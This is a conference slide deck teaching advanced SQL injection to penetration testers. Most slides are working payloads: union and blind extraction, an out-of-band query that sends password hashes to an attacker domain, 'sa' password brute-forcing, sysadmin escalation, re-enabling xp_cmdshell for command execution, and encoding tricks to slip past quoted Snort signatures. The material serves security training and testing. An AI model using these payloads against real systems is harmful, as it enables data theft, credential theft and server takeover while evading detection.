Advanced_SQL_Injection

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Advanced SQL Injection:

Advanced SQL Injection Presented By: Joe McCray joe@learnsecurityonline.com http://www.linkedin.com/in/joemccray

Agenda:

Getting started Background Basic Attack Methods SQL Injection In The Real World Ugh...WTF???? Privilege Escalation Filter & IDS Evasion Javascript Validation Serverside Filters IDS Signatures Agenda

Assumptions...:

I submitted a talk entitled “SQL Injection for Mere Mortals” and it didn't get accepted. Sorry – I am not covering the basics.... I am NOT going to teach you the basics of SQL I am NOT going to teach you the basics of SQL Injection By me rum and coke tonight, and I'll teach you anything I know about it later Assumptions...

Needed A Visa To Come To Brazil...:

Needed A Visa To Come To Brazil...

3 Classes of SQLI :

SQL Injection can be broken up into 3 classes Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester) ‏ Inferential - there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the website/DB Server. 3 Classes of SQLI

Inband::

Data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page So this is our Error-Based, and Union-Based SQL Injections http://[site]/page.asp?id=1 or 1=convert(int,( USER ))-- Syntax error converting the nvarchar value '[ j0e ]' to a column of data type int. Inband:

Out-of-band::

Data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester). This is another way of getting the data out of the server (such as http, or dns). http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2. pwn3dbyj0e.com ' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');-- Out-of-band:

Inferential::

If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as " Blind SQL Injection ". http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'-- Ask it if it's running as 'sa' Inferential:

What About Tools????:

Automated tools are a great way to identify SQLI...... Yeah they are……just be conscious of the different SQL Injection Types.... What About Tools????

SQL Vuln Scanners:

So let's start with some tools you can use to identify SQLI as well as the type they generally identify. mieliekoek.pl (error based) ‏ wpoison (error based) ‏ sqlmap (blind by default, and union if you specify) ‏ wapiti (error based) ‏ w3af (error, blind) ‏ paros (error, blind) ‏ sqid (error) ‏ Joe, I am sick of this sh*t what the heck to you mean by error based, blind and union? SQL Vuln Scanners

SQL Injection Types:

SQL Injection Types Error-Based SQL Injection Union-Based SQL Injection Blind SQL Injection Error: Asking the DB a question that will cause an error, and gleening information from the error. Union: The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result. Really useful for SQL Injection :) ‏ Blind: Asking the DB a true/false question and using whether valid page returned or not, or by using the time it took for your valid page to return as the answer to the question.

My Methodology:

My Methodology How I test for SQL Injection Identify * Identify The Injection (Tool or Manual) ‏ * Determine Injection Type (Integer or String) ‏ Attack * Error-Based SQL Injection (Easiest) ‏ * Union-Based SQL Injection (Great for data extraction) ‏ * Blind SQL Injection (Worst case....last resort) ‏

Why Focus On Manual Testing:

Now that you understand that there are 3 primary types of SQL Injection.... - Can you understand why being able to test for SQLI manually is important? - SQL Injection Scanners will generally look for 1 type of injection..... - The scanner may tell you the site isn't vulnerable when it really is. Why Focus On Manual Testing

Determine the Injection Type:

Is it integer or string based? Integer Injection: http://[site]/page.asp?id=1 having 1=1-- Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. String Injection: http://[site]/page.asp?id=x' having 1=1-- Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Determining this is what determines if you need a ' or not. Determine the Injection Type

Let’s start with MS-SQL syntax:

I would say that MS-SQL Injection is probably the most fun ;) ‏ There is always the possibility of getting access to a stored procedure like xp_cmdshell .......muahahahahahahahahahaha We'll spend a little bit of time on MySQL, and not too much time on Oracle as its injection syntax is fairly similar to MS-SQL. But primarily for the sake of time we'll focus on MS-SQL. Let’s start with MS-SQL syntax

Error-Based SQL Injection Syntax for extracting the USER :

http://[site]/page.asp?id=1 or 1=convert(int,( USER ))-- Syntax error converting the nvarchar value '[ DB USER ]' to a column of data type int. Grab the database user with USER Grab the database name with DB_NAME Grab the servername with @@servername Grab the Windows/OS version with @@version Error-Based SQL Injection Syntax for extracting the USER

Union-Based SQL Injection Syntax for extracting the USER :

http://[site]/page.asp?id=1 UNION SELECT ALL 1-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-- NO ERROR http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4-- Union-Based SQL Injection Syntax for extracting the USER

Blind SQL Injection Syntax for extracting the USER :

3 - Total Characters http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- ‏ Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER

Blind SQL Injection Syntax for extracting the USER :

D - 1st Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))> 97 ) ‏ WAITFOR DELAY '00:00:10' ‏ Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))= 98 ) ‏ WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))= 99 ) ‏ WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))= 100 ) WAITFOR DELAY '00:00:10'-- Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER

Blind SQL Injection Syntax for extracting the USER :

B - 2nd Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))> 97 ) ‏ WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))= 98 ) ‏ WAITFOR DELAY '00:00:10'-- (+10 seconds) ‏ Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER

Blind SQL Injection Syntax for extracting the USER :

O - 3rd Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))> 97 ) ‏ WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))> 98 ) WAITFOR DELAY '00:00:10'-- Valid page returns immediately .....and so on http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))= 111 ) WAITFOR DELAY '00:00:10'-- ‏ Valid page returns after 10 second delay Database User = DBO Blind SQL Injection Syntax for extracting the USER

Let’s move on to MySQL syntax:

With MySQL you really only have: * Union-Based * Blind Let’s move on to MySQL syntax

MySQL:

With MySQL you will typically use union or true/false blind SQL Injection so you really need to know a lot about the DB you are attacking such as: * number of columns * column names * path to website So you will need to enumerate this information first. The UNION operator is used to combine the result-set of two or more SELECT statements. Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order. MySQL

Column number enumeration :

http://[site]/page.php?id=1 order by 10/* <-- gives Unknown column ‘10' in 'order clause' http://[site]/page.php?id=1 order by 5/* <-- gives a valid page http://[site]/page.php?id=1 order by 6/* <-- gives Unknown column '6' in 'order clause' So now we know there are 5 columns. By the way you can do this with MSSQL as well. Column number enumeration

Building the union :

http://[site]/page.php?id=1 union all select 1,2,3,4,5/* <-- gives a valid page Change the first part of the query to a null or negative value so we can see what field will echo data back to us. http://[site]/page.php?id= -1 union all select 1,2,3,4,5/* <-- gives a valid page but with the number 2, and 3 on it or http://[site]/page.php?id= null union all select 1,2,3,4,5/* <-- gives a valid page but with the number 2 , and 3 on it Now we know that column numbers 2 and 3 will echo data back to us. Building the union

Building the union :

http://[site]/page.php?id= null union all select 1,2,3,4,5,6,7/* http://[site]/page.php?id= null union all select 1,2, user() ,4,5, @@version ,7/* Building the union

Information Gathering:

http://[site]/page.php?id=null union all select 1, user() ,3,4,5/* http://[site]/page.php?id=null union all select 1,2, database() ,4,5/* http://[site]/page.php?id=null union all select 1, @@version , @@datadir ,4,5/* Grab the database user with user() ‏ Grab the database name with database() ‏ Grab the database version with @@version Grab the database data directory with @@datadir Information Gathering

Basic SQLI Attack Methods:

Error-Based SQL Injection http://[site]/page.asp?id=2 or 1 in (select @@version)-- Obtaining the version of the OS http://[site]/page.asp?id=2 or 1 in (select @@servername)-- Obtaining the hostname of the server http://[site]/page.asp?id=2 or 1 in (select user)-- Obtaining the user http://[site]/page.asp?id=2 or 1 in (select db_name( N ))-- Obtaining the database name(s). N = start with 0 and keep incrementing Basic SQLI Attack Methods

Basic SQLI Attack Methods:

Union-Based SQL Injection http://[site]/page.asp?id=1 UNION SELECT ALL 1-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2-- http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3-- http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-- NO ERROR You should receive the error with each request, errors not shown to make room for the slide Basic SQLI Attack Methods

Basic SQLI Attack Methods:

Union-Based SQL Injection Cont. (1) ‏ http://[site]/page.asp?id= -1 UNION SELECT ALL 1,2,3,4-- http://[site]/page.asp?id= null UNION SELECT ALL 1,2,3,4-- Look for 1 or even a few numbers to display on the page These numbers that are displayed on the page are the column numbers you can use for extracting date. Let's say that we see columns 2, and 3 displayed on the screen. http://[site]/page.asp?id= -1 UNION SELECT ALL 1, user() ,3,4-- http://[site]/page.asp?id= null UNION SELECT ALL 1,2, @@version ,4-- Basic SQLI Attack Methods

Basic SQLI Attack Methods:

True-False Blind SQL Injection http://www.site.com/page.php?id=66 AND 1=1-- Valid Page http://www.site.com/page.php?id=66 AND 1=2-- Error Page http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1 , 1)) > 51 3 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1 , 1)) > 53 5 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1 , 1)) > 52 4 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2 , 1)) > 43 + http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2 , 1)) > 45 - http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2 , 1)) > 46 . http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3 , 1)) > 51 3 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3 , 1)) > 49 1 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3 , 1)) > 48 0 MID() Extract characters from a text field retrieved version: 5.0.45 Basic SQLI Attack Methods

Basic SQLI Attack Methods:

Time-Based Blind SQL Injection http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';-- See if it takes 5 seconds to return the page. If it does, then you can ask it questions. http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor +delay+'0:0:5';-- Ask it if he is running SQL Server 2000 http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'-- Ask it if it's running as 'sa' http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';-- Ask it if the current user a member of the sysadmin group Basic SQLI Attack Methods

SQL Injection In the Real World:

In the real world exploiting SQL Injection can be difficult. More and more complex dynamic queries are being passed to backend DBs. Also, more and more people know not to run a database as 'sa', and they know to remove the xp_ stored procedures. It's time to up your game. * Ugh...wtf * Privilege Escalation * Re-Enabling stored procedures * Obtaining an interactive command-shell SQL Injection In the Real World

SQL Injection In the Real World:

You know I always trip out on the fact that lil john is a millionaire and only has a vocabulary of " YEAAAHHHHH ", and " WUUUUHAAAATTTT ". Here I am hacking into companies and I'm not even close. What am I doing wrong? Maybe I should trade in the shirt, tie, slacks, laptop for a mouth full of gold teeth, dreadlocks, baggy pants, 40 oz, and a phat blunt!!!!! meh..nah...I love hacking too much... YEAAAAAAHHHHH SQL Injection In the Real World

UGGGGHHH.....WTF??? (1)‏:

http://www.http://www.liljon.com/liljon.asp?lil=' Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))-- Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' Incorrect syntax near ')'. Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query. http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)) ) -- Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'liljon' to data type int. Now we know every injection from here on out will require the additional right paren.... @@servername()), @@version()), db_name()), etc.... UGGGGHHH.....WTF??? (1) ‏

UGGGGHHH.....WTF??? (1) Cont.:

http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(DB_NAME())))- Gives the error: Conversion failed when converting the nvarchar value 'yeaaaaaah' to data type int. http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(@@VERSION)))- Gives the error: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23 2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int. The database has been enumerated... WUUUUHAATTTTT The database has been enumerated... WUUUUHAATTTTT The database has been enumerated... WUUUUHAATTTTT The database has been enumerated... YEEAAAAAAAHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!!!!!!!! Liljohn - Shut the f*ck up.... OOKAYYY!!!!!!!!!!!!!!!! UGGGGHHH.....WTF??? (1) Cont.

UGGGGHHH.....WTF??? (2)‏:

http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2-- Received error: The text, ntext, or image data type cannot be selected as DISTINCT. http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9-- Received error: Operand type clash: text is incompatible with int http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null-- Tips: 1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct. 2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer UGGGGHHH.....WTF??? (2) ‏

Privilege Escalation:

Step 1: Brute-Force the ' sa ' password http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';' JOE ','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';' joe ','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';' j0e ','waitfor delay ''0:0:50'';select 1;');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing. Privilege Escalation

Privilege Escalation:

Step 2: Add current user to admin group http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing. Privilege Escalation

Privilege Escalation:

Step 3: Recreate the xp_cmdshell stored procedure MSSQL Server 2000 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'', 14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1 Remember to correctly identify the backend version as this step because MS SQL 2000 handle this differently than MS SQL 2005 Privilege Escalation

Privilege Escalation:

Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?) ‏ select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1; DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1 Privilege Escalation

Privilege Escalation:

Step 3: Recreate the xp_cmdshell stored procedure MSSQL Server 2005 (re-enabling xp_cmdshell) ‏ http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;exec master..sp_configure ''show advanced options'',1;reconfigure;exec master..sp_configure ''xp_cmdshell'',1;reconfigure')&a=1 http://[site]/page.asp?id=1;exec master..sp_configure 'show advanced options', 1;reconfigure;exec master..sp_configure 'ole automation procedures',1;reconfigure;&a=1 Privilege Escalation

Filter Evasion:

I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input. Filter Evasion

Client-Side Filtering:

The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them - Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite) ‏ Client-Side Filtering

Restrictive Blacklist:

Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2” http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2 Restrictive Blacklist

Signature Based IDS:

The key to IDS/IPS evasion is knowing that there is one in place. With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked. Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature. I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments. Signature Based IDS

Signature Based IDS (1)‏:

Signature 1 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; content: “ ' or 1=1 -- ”; nocase; sid: 1; rev:1;) ‏ Bypass Techniques: http://[site]/page.asp?id=2 or 2=2-- http://[site]/page.asp?id=2 or 1<2-- http://[site]/page.asp?id=2 or 1 like 1-- http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-- ....c'mon everyone name some more Signature Negatives - Having the ' in the signature will cause you to miss attacks that don't utilize the ' - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) ‏ If this signature is so easily bypassed, what is it actually good for? Answer: It's great for automated tools and kiddies Signature Based IDS (1) ‏

Signature Based IDS (My Opinion)‏:

Signature Based IDS (My Opinion) ‏

Signature Based IDS (2)‏:

Signature 2 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; pcre: “ /(and|or) 1=1 (\-\-|\/\*|\#)/i ”; sid: 1; rev:2;) ‏ Bypass Techniques: http://[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/page.asp?id=2 or 1<2%2D%2D http://[site]/page.asp?id=2 or 1 like 1%2D%2D http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D ....c'mon everyone name some more Signature Negatives - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) ‏ - Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --) ‏ - It is possible to attack an sql injection vulnerability without using comments If this signature is so easily bypassed, what is it actually good for? Answer: Again, it's great for automated tools and kiddies Signature Based IDS (2) ‏

Signature Based IDS (3-5)‏:

Signature 3-5 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/select.*from.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 1;) ‏ alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION statement”; flow: to_server, established; pcre:”/union.*(\-\-|\/\*|\#)/i”; sid: 3; rev: 1;) ‏ Bypass Techniques: http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D http://[site]/page.asp?id=2 or 2 in (select user)-- http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C %65%63%74%20%75%73%65%72),5,6,7%2D%2D http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7-- ....c'mon everyone name some more Signature Negatives - Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex Signature Based IDS (3-5) ‏

Signature Based IDS (6-7)‏:

Signature 6 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\-|\/\*|\#)/i”; sid: 2; rev2;) ‏ Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;) ‏ At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use... Signature Based IDS (6-7) ‏

Signature Based IDS:

The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house. You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all. With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use. http://[site]/page.asp?id=2%20or%202%20in%20( /*IDS*/ %73 /*evasion*/ %65 /*is*/ %6C /*easy*/ %65 /*just*/ %63 /*ask*/ %74 /*j0e*/ %20%75 /*to*/ %73 /*teach*/ %65 /*you*/ %72 /*how*/ )%2D%2D What is passed to the db http://[site]/page.asp?id=2 or 2 in (select user)-- in comments ("IDS evasion is easy just ask j0e to teach you how") ‏ Signature Based IDS

Basic References:

SQL Tutorials: http://www.sql-tutorial.net/ SQL Injection Tutorials http://www.securitydocs.com/library/3587 http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42 SQL Injection Cheatsheets: http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/ http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ Basic References

References For This Presentation:

Lots, and lots, and lots of late nights with rum and coke at my side... Paul Battista's ToorCon 9 Presentation http://www.securityexperiment.com/se/documents/Overlooked%20SQL%20Injection%2020071021.pdf Brad Warneck's GCIA Paper http://www.giac.org/certified_professionals/practicals/gcia/1231.php References For This Presentation

Download This Presentation:

You can download this presentation at: https://www.learnsecurityonline.com/Advanced_SQL_Injection.pdf You can contact me at: Email: joe@learnsecurityonline.com LinkedIn: http://www.linkedin.com/in/joemccray Download This Presentation

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